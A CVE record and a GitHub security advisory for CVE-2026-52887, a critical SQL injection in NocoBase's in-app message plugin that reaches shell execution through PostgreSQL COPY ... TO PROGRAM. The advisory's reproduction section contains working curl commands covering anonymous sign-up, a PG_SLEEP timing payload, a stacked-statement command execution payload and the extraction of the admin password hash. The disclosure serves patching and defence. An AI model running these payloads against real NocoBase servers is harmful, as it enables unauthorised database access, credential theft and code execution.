{
  "affected": [
    {
      "affectedData": [
        {
          "product": "nocobase",
          "vendor": "nocobase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.61"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[latestMsgReceiveTimestamp][$lt] value was inserted into a Sequelize.literal() template string without escaping or parameter binding, allowing a signed-up authenticated user to run stacked PostgreSQL statements and potentially execute commands with COPY ... TO PROGRAM. This vulnerability is fixed in 2.0.61."
    }
  ],
  "id": "CVE-2026-52887",
  "lastModified": "2026-07-20T16:17:05.020",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-52887",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T14:39:37.974692Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-15T21:16:54.543",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.61"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.60"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-notification-in-app-message"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.61"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T19:44:59Z",
    "nvd_published_at": "2026-07-15T21:16:54Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously.\n\nThe injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=\u003cexpression\u003e`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.\n\nThe shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM \u0027...\u0027` therefore runs shell commands as `uid=999(postgres)` inside the database container.\n\nResult: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.\n\n## Affected\n\nNocoBase server, `@nocobase/plugin-notification-in-app-message` `\u003c=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`).\n\n`@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role.\n\n## Root cause\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\\`${latestMsgReceiveTimestampSQL} \u003c ${filter.latestMsgReceiveTimestamp.$lt}\\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast.\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow(\u0027myInAppChannels\u0027, \u0027*\u0027, \u0027loggedIn\u0027)` exposes every action on the resource to every authenticated role, including the seeded `member`.\n\n`packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement.\n\n`docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname=\u0027nocobase\u0027` returns `true`). The `pg` driver simple-query accepts stacked statements.\n\n## Reproduction\n\nTested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`.\n\n1. Anonymous sign-up, then sign-in for a `member` JWT.\n\n```\ncurl -X POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"a\",\"password\":\"P!ssw0rd1\",\"confirm_password\":\"P!ssw0rd1\"}\u0027 \\\n  http://target:13000/api/auth:signUp?authenticator=basic\nTOKEN=$(curl -sX POST -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"account\":\"a\",\"password\":\"P!ssw0rd1\"}\u0027 \\\n  http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)\n```\n\n2. Time-based oracle confirms injection. Each request below takes ~5 seconds.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a\"\n```\n\n3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n  \"http://target:13000/api/myInAppChannels:list\" \\\n  --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0); COPY (SELECT 1) TO PROGRAM \u0027id \u003e /tmp/PWN_VERIFY.txt\u0027; --\"\ndocker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt\n# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)\n```\n\nLive-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM \u0027cat \u003e /tmp/PWN_HASH.txt\u0027`. Reproduced 2026-05-26 against HEAD `e35a2737`.\n\n## Impact\n\n- Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query).\n- Arbitrary row read of any collection, including `users.password` PBKDF2 hashes for the super-admin account.\n- Shell command execution as `uid=999(postgres)` inside the PostgreSQL container via `COPY ... TO PROGRAM`.\n- Anonymous reach in default deployments because `auth-basic` ships `allowSignUp: true`.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)",
  "id": "GHSA-p849-8hwh-84j9",
  "modified": "2026-07-31T19:44:59Z",
  "published": "2026-07-31T19:44:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.61"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE"
}